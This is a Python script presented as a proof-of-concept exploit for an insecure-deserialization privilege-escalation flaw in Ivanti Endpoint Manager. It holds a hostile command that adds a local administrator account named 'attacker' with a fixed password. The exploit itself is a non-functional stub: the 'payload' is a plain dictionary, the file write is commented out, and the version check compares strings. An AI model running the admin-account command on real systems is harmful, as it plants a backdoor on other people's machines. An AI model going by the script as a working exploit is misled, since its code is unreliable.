The following code is for security research and authorized testing only.
python
# CVE-2025-11622 - Ivanti Endpoint Manager Insecure Deserialization PoC
# Vulnerability: Insecure Deserialization leading to Local Privilege Escalation
# Affected: Ivanti Endpoint Manager before 2024 SU4
# Author: Security Researcher
import os
import sys
import struct
import subprocess
def generate_malicious_payload(command):
"""
Generate a malicious serialized payload targeting .NET BinaryFormatter
or similar unsafe deserialization mechanisms used by Ivanti EPM.
"""
# This is a conceptual PoC structure for insecure deserialization
# The actual payload would need to be crafted based on the specific
# deserialization library and gadget chain available in Ivanti EPM
payload_template = {
"type": "BinaryFormatter",
"target_application": "Ivanti EPM Agent Service",
"execution_context": "SYSTEM",
"command": command,
"serialization_format": "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter"
}
print(f"[*] Generating malicious payload for command: {command}")
print(f"[*] Target: {payload_template['target_application']}")
print(f"[*] Execution context: {payload_template['execution_context']}")
return payload_template
def exploit_deserialization(target_path, command):
"""
Exploit the insecure deserialization vulnerability in Ivanti EPM.
Steps:
1. Generate malicious serialized object
2. Place it in a location accessible by the EPM service
3. Trigger deserialization by the vulnerable service
"""
print("=" * 60)
print("CVE-2025-11622 PoC - Ivanti EPM Deserialization LPE")
print("=" * 60)
# Step 1: Generate payload
payload = generate_malicious_payload(command)
# Step 2: Write payload to target location
# Common locations for Ivanti EPM to read serialized data
target_locations = [
r"C:\ProgramData\Ivanti\EPM\Agent\Tasks",
r"C:\ProgramData\Landesk\ManagementSuite\Tasks",
r"C:\Windows\Temp\ldagent_temp"
]
for location in target_locations:
if os.path.exists(location):
print(f"[+] Found target directory: {location}")
# payload_file = os.path.join(location, "malicious_task.bin")
# Write malicious serialized data here
print(f"[*] Payload would be written to: {location}")
# Step 3: Trigger deserialization
# This could be done by:
# - Waiting for scheduled task execution
# - Triggering a specific EPM agent action
# - Using the EPM console to push a task
print("[*] Waiting for EPM service to deserialize payload...")
print("[!] If successful, command will execute as SYSTEM")
return True
def verify_vulnerability():
"""Check if the target system is vulnerable."""
print("[*] Checking Ivanti EPM version...")
# Check registry for Ivanti EPM installation
try:
import winreg
key = winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE,
r"SOFTWARE\Ivanti\Endpoint Manager"
)
version, _ = winreg.QueryValueEx(key, "Version")
print(f"[*] Detected Ivanti EPM version: {version}")
if version < "2024.4": # Before SU4
print("[!] VULNERABLE: Version is before 2024 SU4")
return True
else:
print("[+] PATCHED: Version is 2024 SU4 or later")
return False
except Exception as e:
print(f"[-] Could not determine version: {e}")
return None
if __name__ == "__main__":
if verify_vulnerability():
# Example: Add a local admin user
cmd = "net user attacker P@ssw0rd! /add && net localgroup administrators attacker /add"
exploit_deserialization(None, cmd)
else:
print("[+] System appears to be patched.")